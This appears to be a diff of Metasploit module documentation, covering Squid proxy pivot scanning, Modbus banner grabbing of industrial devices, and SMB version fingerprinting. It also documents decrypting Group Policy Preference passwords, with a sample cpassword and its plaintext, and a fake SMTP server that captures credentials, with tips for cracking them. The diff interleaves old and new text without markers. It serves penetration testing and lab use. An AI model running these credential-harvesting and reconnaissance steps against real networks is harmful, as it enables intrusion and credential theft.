[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Setting the `VERBOSE` option will show each port tested and explain the reason for unreachable ports, if known. This can be helpful, as a port might very well be open and responding on a host, however if it is denied by the Squid ACL you will be unable to reach it regardless.
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[*] [10.10.10.100] Verifying manual testing is not required...
[*] [10.10.10.100] Requesting 192.168.0.1:21
[+] [10.10.10.100] 192.168.0.1 is alive.
[*] [10.10.10.100] 192.168.0.1 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:22
[*] [10.10.10.100] 192.168.0.1:22 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:23
[*] [10.10.10.100] 192.168.0.1:23 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:24
[*] [10.10.10.100] 192.168.0.1:24 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:25
[*] [10.10.10.100] 192.168.0.1:25 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:79
[*] [10.10.10.100] 192.168.0.1:79 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:80
[+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)').
[*] [10.10.10.100] Requesting 192.168.0.1:81
[*] [10.10.10.100] 192.168.0.1:81 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:139
[*] [10.10.10.100] 192.168.0.1:139 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:443
[*] [10.10.10.100] 192.168.0.1 is alive but 443 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:445
[*] [10.10.10.100] 192.168.0.1:445 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.1:1433
[*] [10.10.10.100] 192.168.0.1 is alive but 1433 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:1521
[*] [10.10.10.100] 192.168.0.1 is alive but 1521 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:1723
[*] [10.10.10.100] 192.168.0.1 is alive but 1723 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:3389
[*] [10.10.10.100] 192.168.0.1 is alive but 3389 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:8080
[*] [10.10.10.100] 192.168.0.1 is alive but 8080 is closed.
[*] [10.10.10.100] Requesting 192.168.0.1:9100
[*] [10.10.10.100] 192.168.0.1 is alive but 9100 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:21
[+] [10.10.10.100] 192.168.0.2 is alive.
[*] [10.10.10.100] 192.168.0.2 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:22
[*] [10.10.10.100] 192.168.0.2:22 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:23
[*] [10.10.10.100] 192.168.0.2:23 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:24
[*] [10.10.10.100] 192.168.0.2:24 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:25
[*] [10.10.10.100] 192.168.0.2:25 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:79
[*] [10.10.10.100] 192.168.0.2:79 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:80
[+] [10.10.10.100] 192.168.0.2:80 seems open (HTTP 302 redirect to: 'index.php', server header: 'nginx/1.14.0 (Ubuntu)')
[*] [10.10.10.100] Requesting 192.168.0.2:81
[*] [10.10.10.100] 192.168.0.2:81 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:139
[*] [10.10.10.100] 192.168.0.2:139 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:443
[*] [10.10.10.100] 192.168.0.2 is alive but 443 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:445
[*] [10.10.10.100] 192.168.0.2:445 likely blocked by ACL.
[*] [10.10.10.100] Requesting 192.168.0.2:1433
[*] [10.10.10.100] 192.168.0.2 is alive but 1433 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:1521
[*] [10.10.10.100] 192.168.0.2 is alive but 1521 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:1723
[*] [10.10.10.100] 192.168.0.2 is alive but 1723 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:3389
[*] [10.10.10.100] 192.168.0.2 is alive but 3389 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:8080
[*] [10.10.10.100] 192.168.0.2 is alive but 8080 is closed.
[*] [10.10.10.100] Requesting 192.168.0.2:9100
[*] [10.10.10.100] 192.168.0.2 is alive but 9100 is closed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
If the Squid administrator has made the error of having an ACL be too permissive, you might even see more interesting ports. A contrived example is below, note SSH has been added to `Safe_ports`.
```
acl Safe_ports port 80 # http
acl Safe_ports port 443 # https
acl Safe_ports port 21 # ftp
acl Safe_ports port 22 # ssh
http_access deny !Safe_ports
http_access allow localhost
http_access allow localnet
http_access deny all
```
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set TARGETS 127.0.0.1
TARGETS => 127.0.0.1
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1
RANGE => 127.0.0.1
msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-23
PORTS => 21-23
msf6 auxiliary(scanner/http/squid_pivot_scanning) > run
[*] [10.10.10.100] Verifying manual testing is not required...
[*] [10.10.10.100] Requesting 127.0.0.1:21
[+] [10.10.10.100] 127.0.0.1 is alive.
[*] [10.10.10.100] 127.0.0.1 is alive but 21 is closed.
[*] [10.10.10.100] Requesting 127.0.0.1:22
[+] [10.10.10.100] 127.0.0.1:22 seems open (HTTP 200, server header: 'unknown').
[*] [10.10.10.100] Requesting 127.0.0.1:23
[*] [10.10.10.100] 127.0.0.1:23 likely blocked by ACL.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Finally, it is worth knowing that all open discovered ports are saved as services for later viewing:
```
msf6 auxiliary(scanner/http/squid_pivot_scanning) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 22 tcp unknown open SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Protocol mismatch.
192.168.0.1 80 tcp nginx/1.14.0 (ubuntu) open <html><head>...
192.168.0.2 80 tcp nginx/1.14.0 (ubuntu) open Redirect to: index.php
```
@@ -0,0 +1,98 @@
## Vulnerable Application
This module will perform banner grabbing on devices that use the Modbus protocol by sending
a payload with the function code 43 to read the target device's identification information.
For more technical information, you can refer to this link: https://en.wikipedia.org/wiki/Modbus#Available_function/command_codes.
By default the service is running on port 502, so any device with this port open could be a potential target.
## Verification Steps
1. Do: `use auxiliary/scanner/scada/modbus_banner_grabbing`
2. Do: `set RHOST <IP>` where IP is the IP address of the target.
3. Do: `run`
The response from the target device may contain several objects. Some of these objects can be seen below:
`vendor name, product code, revision number (in *major version*.*minor version* format), vendor url, product name, model name`
If the target was unable to process the Modbus message, a Modbus exception message will be returned from the target,
which will then be output to the screen.
Successful results from the scan will be stored as a `note` in the framework. You can access these notes by typing `note` in the console.
```
msf5 auxiliary(scanner/scada/modbus_banner_grabbing) > notes
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.vendorname "Schneider Electric"
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.productcode "BMX NOE 0100"
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.revision "V3.10"
```
## Options
There are no non-default options for this module.
## Scenarios
The following scenarios describe some of the responses you may receive from the target:
### Schneider Electric BMX NOE 0100 - Successful Response
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[*] 192.168.1.1:502 - Number of Objects: 3
[+] 192.168.1.1:502 - VendorName: Schneider Electric
[+] 192.168.1.1:502 - ProductCode: BMX NOE 0100
[+] 192.168.1.1:502 - Revision: V3.10
[*] 192.168.1.1:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - No Reply
The target never replied to the attacker's request.
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.2:502 - MODBUS - No reply
[*] 192.168.1.2:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - Network Error
Some network error occurred, such as a connection error, a network timeout, or the connection was refused.
Alternatively, the host may be unreachable.
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.3:502 - MODBUS - Network error during payload: The connection timed out (217.71.253.52:502).
[*] 192.168.1.3:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Schneider Electric BMX NOE 0100 - Modbus Exception Code (i.e. Memory Parity Error)
```
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
[-] 192.168.1.4:502 - Memory Parity Error: Slave detected a parity error in memory.
[*] 192.168.1.4:502 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,77 @@
## Vulnerable Application
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy
Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES
key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
### Test Environment
This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is
necessary to have a means to test this vulnerability in a contrived way.
Starting from a Windows Server that has been configured as an Active Directory Domain Controller:
1. Navigate to: `%SystemRoot%\SYSVOL\sysvol\$domain\Policies` where `$domain` is the name of the domain.
1. Create a subfolder. These folders typically use UUIDs within braces (e.g. `{31B2F340-016D-11D2-945F-00C04FB984F9}`) but the name does not
matter for testing purposes.
1. In the new a new file (and the necessary parent folders) `MACHINE\Preferences\Groups\Groups.xml`.
1. Place the contents below in the new `Groups.xml` file.
```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}">
<Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/>
</User>
</Groups>
```
This example XML data was taken from the unit test.
## Verification Steps
Example steps in this format (is also in the PR):
1. Start msfconsole
1. Do: `use auxiliary/scanner/smb/smb_enum_gpp`
1. Do: `set RHOSTS ...`
1. Do: `set SMBUser ...`
1. Do: `set SMBPass ...`
1. Do: `run`
### Windows Server 2019 (Test Setup)
The following example use the contrived setup from the "Test Environment" section.
```
msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
SMBUSER => smcintyre
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Mounting the remote share \\192.168.159.10\SYSVOL'...
[+] 192.168.159.10:445 - Found Policy Share on 192.168.159.10
[*] 192.168.159.10:445 - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
[+] 192.168.159.10:445 - Group Policy Credential Info
============================
Name Value
---- -----
TYPE Groups.xml
USERNAME SuperSecretBackdoor
PASSWORD Super!!!Password
DOMAIN CONTROLLER 192.168.159.10
DOMAIN msflab.local
CHANGED 2013-04-25 18:36:07
NEVER_EXPIRES? 1
DISABLED 0
[+] 192.168.159.10:445 - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
[+] 192.168.159.10:445 - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enum_gpp) >
```
@@ -1,167 +1,78 @@
The `smb_version` module is used to determine what version of the Operating System is installed.
This module also attempts to determine the following information on the system if possible:
The `smb_version` module is used to determine information about a remote SMB server. It will fingerprint protocol
version and capability information. If the target server supports SMB version 1, then the module will also attempt to
identify the information about the host operating system.
### Protocol Information
1. Protocol Versions: The list of SMB protocol versions that the server supports.
1. Preferred Dialect: The preferred dialect for the newest protocol version that the server supports.
1. Signature Requirements: Whether or not the server requires security signatures.
1. Uptime: How long the server has been up, as calculated by subtracting the current time from the system time. This
calculation requires that both fields be provided by the server. If one or both fields are unset, this value will be
omitted.
* Requires versions: 2+
1. Server GUID: The unique identifier of the server. This value can be used to identify systems with multiple network
interfaces.
* Requires versions: 2+
1. Capabilities: The supported encryption and compression algorithms that the server supports.
* Requires versions: 3+
1. Authentication Domain: The domain that the server prompts the user to authenticate to when attempting to login.
### Host Operating System Information
*This information is only available if the target SMB server supports SMB version 1.*
1. OS (product and version)
2. lanman version
3. OS build number
4. Service pack
5. OS language
## Vulnerable Application
To use `smb_version`, make sure you are able to connect to a SMB service that supports SMBv1.
1. LAN Manager version
1. OS build number
1. Service pack
1. OS language
## Verification Steps
1. Do: ```use auxiliary/scanner/smb/smb_version```
2. Do: ```set rhosts [IP]```
3. Do: ```run```
1. Do: `use auxiliary/scanner/smb/smb_version`
2. Do: `set rhosts [IP]`
3. Do: `run`
## Scenarios
This is an example run of a network with several different version of Windows, metasploit 1 and 2, and a NAS device running SAMBA.
```
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set rhosts 10.9.7.1-254
rhosts => 10.9.7.1-254
msf auxiliary(smb_version) > set threads 5
threads => 5
msf auxiliary(smb_version) > run
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.159.0/24
RHOSTS => 192.168.159.0/24
msf5 auxiliary(scanner/smb/smb_version) > show options
[*] 10.9.7.7:445 - Host is running Windows 2008 R2 Standard (build:7600) (name:WIN-O712LQK2K69) (workgroup:WORKGROUP )
[*] Scanned 26 of 254 hosts (10% complete)
[*] 10.9.7.35:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.9.7.46:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] Scanned 52 of 254 hosts (20% complete)
[*] Scanned 77 of 254 hosts (30% complete)
[*] 10.9.7.91:445 - Host is running Windows 8.1 Enterprise Evaluation (build:9600) (name:IE11WIN8_1) (workgroup:WORKGROUP )
[*] Scanned 105 of 254 hosts (41% complete)
[*] 10.9.7.108:445 - Host is running Windows XP SP3 (language:English) (name:WINXP) (workgroup:WORKGROUP )
[*] 10.9.7.119:445 - Host could not be identified: Windows 6.1 (Samba 4.4.9)
[*] 10.9.7.127:445 - Host is running Windows 2000 SP4 with ms05-010+ (language:English) (name:WIN2K) (workgroup:WORKGROUP )
[*] Scanned 127 of 254 hosts (50% complete)
[*] Scanned 154 of 254 hosts (60% complete)
[*] 10.9.7.164:445 - Host is running Windows 2012 Standard (build:9200) (name:WIN-OBKF2JFCDKL)
[*] 10.9.7.175:445 - Host is running Windows 10 Pro (build:14393) (name:WORKDESK)
[*] Scanned 178 of 254 hosts (70% complete)
[*] Scanned 204 of 254 hosts (80% complete)
[*] Scanned 231 of 254 hosts (90% complete)
[*] 10.9.7.232:445 - Host is running Windows 7 Enterprise SP1 (build:7601) (name:IE11WIN7) (workgroup:WORKGROUP )
[*] Scanned 254 of 254 hosts (100% complete)
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.159.0/24 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 15 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/smb/smb_version) > run
[*] 192.168.159.10:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:required) (guid:{faf5534c-d125-4081-aa2a-cf3256415908}) (authentication domain:MSFLAB)
[*] 192.168.159.10:445 - Host could not be identified: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
[*] 192.168.159.30:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{8f1ce8b7-e198-404e-89d6-a27297b1c3f2}) (authentication domain:DESKTOP-RTCRBEV)
[*] 192.168.159.0/24: - Scanned 30 of 256 hosts (11% complete)
[*] 192.168.159.38:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.0.2) (signatures:optional) (uptime:4d 17h 33m 34s) (guid:{cd5d41db-0bb8-4954-9421-0cdd14b7c6f7}) (authentication domain:WIN-46IL3RC2FHI)
[*] 192.168.159.31:445 - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:3m 6s) (guid:{caaee1a3-8f74-4dd0-b0eb-436d7abc8979}) (authentication domain:WIN-9NSI4A6AIHJ)
[+] 192.168.159.31:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN-9NSI4A6AIHJ) (workgroup:WORKGROUP)
[*] 192.168.159.48:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[+] 192.168.159.48:445 - Host is running Windows XP SP2 (language:English) (name:SMCINTYR-81CC7C) (workgroup:WORKGROUP)
[*] 192.168.159.0/24: - Scanned 57 of 256 hosts (22% complete)
[*] 192.168.159.0/24: - Scanned 87 of 256 hosts (33% complete)
[*] 192.168.159.0/24: - Scanned 104 of 256 hosts (40% complete)
[*] 192.168.159.128:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZ77) (encryption capabilities:AES-128-GCM) (signatures:optional) (guid:{61636f6c-686c-736f-7400-000000000000}) (authentication domain:LOCALHOST)
[*] 192.168.159.129:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{19147a6c-08c1-4e9c-b6c5-1119e2c57e6a}) (authentication domain:DESKTOP-R9TM84E)
[+] 192.168.159.129:445 - Host is running Windows 10 Enterprise (build:17763) (name:DESKTOP-R9TM84E) (workgroup:WORKGROUP)
[*] 192.168.159.0/24: - Scanned 137 of 256 hosts (53% complete)
[*] 192.168.159.0/24: - Scanned 163 of 256 hosts (63% complete)
[*] 192.168.159.0/24: - Scanned 180 of 256 hosts (70% complete)
[*] 192.168.159.0/24: - Scanned 205 of 256 hosts (80% complete)
[*] 192.168.159.0/24: - Scanned 234 of 256 hosts (91% complete)
[*] 192.168.159.0/24: - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_version) >
```
## Confirmation with nmap
There are several scripts that attempt to validate OS information through SMB. The most equivalent is [smb-os-discovery](https://nmap.org/nsedoc/scripts/smb-os-discovery.html).
```
nmap --script smb-os-discovery.nse -p445 10.9.7.7,35,91,108,119,127,164,175,232
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-19 14:12 EDT
Nmap scan report for WIN-O712LQK2K69 (10.9.7.7)
Host is up (0.0025s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:28:DD:A0 (VMware)
Host script results:
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7600 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::-
| Computer name: WIN-O712LQK2K69
| NetBIOS computer name: WIN-O712LQK2K69\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2017-05-19T11:12:15-07:00
Nmap scan report for 10.9.7.35
Host is up (0.0018s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:59:D4:F7 (VMware)
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP\x00
|_ System time: 2017-05-19T14:33:31-04:00
Nmap scan report for IE11Win8_1 (10.9.7.91)
Host is up (0.0020s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E0:CF:FB (VMware)
Host script results:
| smb-os-discovery:
| OS: Windows 8.1 Enterprise Evaluation 9600 (Windows 8.1 Enterprise Evaluation 6.3)
| OS CPE: cpe:/o:microsoft:windows_8.1::-
| NetBIOS computer name: IE11WIN8_1\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2017-05-19T11:04:48-07:00
Nmap scan report for winxp (10.9.7.108)
Host is up (0.0018s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:D6:24:67 (VMware)
Host script results:
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: winxp
| NetBIOS computer name: WINXP\x00
| Workgroup: RAGEGROUP\x00
|_ System time: 2017-05-19T14:12:29-04:00
Nmap scan report for workNAS (10.9.7.119)
Host is up (0.0024s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:11:32:10:FE:C4 (Synology Incorporated)
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.4.9)
| Computer name: worknas
| NetBIOS computer name: WORKNAS\x00
| Domain name: \x00
| FQDN: worknas
|_ System time: 2017-05-19T14:12:41-04:00
Nmap scan report for win2k (10.9.7.127)
Host is up (0.0025s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:C8:97:2D (VMware)
Host script results:
| smb-os-discovery:
| OS: Windows 2000 (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_2000::-
| Computer name: win2k
| NetBIOS computer name: WIN2K\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2017-05-19T14:04:37-04:00
Nmap scan report for IE11Win7 (10.9.7.232)
Host is up (0.0019s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:7D:29:4C (VMware)
Host script results:
| smb-os-discovery:
| OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IE11Win7
| NetBIOS computer name: IE11WIN7\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2017-05-19T11:04:46-07:00
Nmap done: 8 IP addresses (7 hosts up) scanned in 4.67 seconds
```
@@ -0,0 +1,196 @@
## Vulnerable Application
This module creates a mock SMTP server which accepts credentials or unauthenticated email
before throwing a `503` error.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/smtp```
3. Do: ```run```
## Options
## Scenarios
### Testing Script
The following script should test the following:
1. Auth Plain
2. Auth Login
3. Auth CRAM-MD5
4. Sending an email w/o auth
5. RSET is implemented (https://github.com/rapid7/metasploit-framework/issues/11980)
```
require 'net/smtp'
require 'socket'
puts 'Testing: plain'
begin
Net::SMTP.start('127.0.0.1', 25, 'localhost', 'username_plain', 'password_plain', :plain)
rescue => e
puts "Error: #{e}"
end
puts 'Testing: login'
begin
Net::SMTP.start('127.0.0.1', 25, 'localhost', 'username_login', 'password_login', :login)
rescue => e
puts "Error: #{e}"
end
puts 'Testing: cram md5'
begin
Net::SMTP.start('127.0.0.1', 25, 'localhost', 'username_cram', 'password_cram', :cram_md5)
rescue => e
puts "Error: #{e}"
end
puts 'Testing: DATA'
begin
Net::SMTP.start('127.0.0.1') do |smtp|
smtp.send_message 'test', 'from@test.com', 'to@test.com'
end
rescue => e
puts "Error: #{e}"
end
# test for https://github.com/rapid7/metasploit-framework/issues/11980
puts 'Testing: RSET during DATA'
begin
t = TCPSocket.open('127.0.0.1', 25)
t.gets
t.print("EHLO localhost \r\n")
t.gets
t.print("MAIL FROM:<from@test.com>\r\n")
t.gets
t.print("MAIL TO:<to@test.com>\r\n")
t.gets
t.print("DATA\r\n")
t.gets
t.print("RSET\r\n")
puts " Response: #{t.gets.chop}"
rescue => e
puts "Error: #{e}"
end
puts 'Testing: RSET during middle of DATA'
begin
t = TCPSocket.open('127.0.0.1', 25)
t.gets
t.print("EHLO localhost \r\n")
t.gets
t.print("MAIL FROM:<from@test.com>\r\n")
t.gets
t.print("MAIL TO:<to@test.com>\r\n")
t.gets
t.print("DATA\r\n")
t.gets
t.print("testing a message which gets cancelled\r\n")
t.print("RSET\r\n")
puts " Response: #{t.gets.chop}"
rescue => e
puts "Error: #{e}"
end
```
### Output from testing script
When this script is run from the Metasploit console, it intermingles with the commands, which is great!
```
$ sudo ./msfconsole -qx 'use auxiliary/server/capture/smtp; set srvhost 127.0.0.1;run;ruby tools/dev/test_capture_smtp.rb'
srvhost => 127.0.0.1
[*] Auxiliary module running as background job 0.
[*] exec: ruby tools/dev/test_capture_smtp.rb
[*] Started service listener on 127.0.0.1:25
[*] Server started.
Testing: plain
[*] SMTP: 127.0.0.1:46212 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46212 Command: AUTH PLAIN AHVzZXJuYW1lX3BsYWluAHBhc3N3b3JkX3BsYWlu
[+] SMTP LOGIN 127.0.0.1:46212 username_plain / password_plain
Testing: login
[*] SMTP: 127.0.0.1:46214 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46214 Command: AUTH LOGIN
[*] SMTP: 127.0.0.1:46214 Command: dXNlcm5hbWVfbG9naW4=
[*] SMTP: 127.0.0.1:46214 Command: cGFzc3dvcmRfbG9naW4=
[+] SMTP LOGIN 127.0.0.1:46214 username_login / password_login
Testing: cram md5
[*] SMTP: 127.0.0.1:46216 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46216 Command: AUTH CRAM-MD5
[*] SMTP: 127.0.0.1:46216 Command: dXNlcm5hbWVfY3JhbSA3YjA2NzUyMjVhM2FjMmI5MjMxYzJlOTM5OTg2Y2U0Mg==
Testing: DATA
[+] SMTP LOGIN 127.0.0.1:46216 username_cram / <12345@127.0.0.1>#7b0675225a3ac2b9231c2e939986ce42
[*] SMTP: 127.0.0.1:46218 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46218 Command: MAIL FROM:<from@test.com>
[*] SMTP: 127.0.0.1:46218 Command: RCPT TO:<to@test.com>
[*] SMTP: 127.0.0.1:46218 Command: DATA
[*] SMTP: 127.0.0.1:46218 Command: test
.
[*] SMTP: 127.0.0.1:46218 EMAIL: test
[*] SMTP: 127.0.0.1:46218 Command: QUIT
Testing: RSET during DATA
[*] SMTP: 127.0.0.1:46220 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46220 Command: MAIL FROM:<from@test.com>
[*] SMTP: 127.0.0.1:46220 Command: MAIL TO:<to@test.com>
[*] SMTP: 127.0.0.1:46220 Command: DATA
[*] SMTP: 127.0.0.1:46220 Command: RSET
Response: 250 OK
Testing: RSET during middle of DATA
[*] SMTP: 127.0.0.1:46222 Command: EHLO localhost
[*] SMTP: 127.0.0.1:46222 Command: MAIL FROM:<from@test.com>
[*] SMTP: 127.0.0.1:46222 Command: MAIL TO:<to@test.com>
[*] SMTP: 127.0.0.1:46222 Command: DATA
[*] SMTP: 127.0.0.1:46222 Command: testing a message which gets cancelled
RSET
[*] SMTP: 127.0.0.1:46222 EMAIL: testing a message which gets cancelled
Response: 250 OK
msf5 auxiliary(server/capture/smtp) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
127.0.0.1 127.0.0.1 25/tcp (smtp) username_cram <12345@127.0.0.1>#7b0675225a3ac2b9231c2e939986ce42 Nonreplayable hash hmac-md5
127.0.0.1 127.0.0.1 25/tcp (smtp) username_login password_login Password
127.0.0.1 127.0.0.1 25/tcp (smtp) username_plain password_plain Password
msf5 auxiliary(server/capture/smtp) > notes
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2020-04-17 15:11:24 UTC 127.0.0.1 smtp_message "testing a message which gets cancelled\r\n"
```
### Cracking Cram-md5 (hmac-md5)
Metasploit currently doesn't have a cracker for `hmac-md5`, however the output is pre-formatted to JTR standards,
and `creds -o /tmp/file.jtr` will export it correctly for John. It is also possible to export to hashcat format
with `creds -o /tmp/file.hcat` and mode `10200`.
```
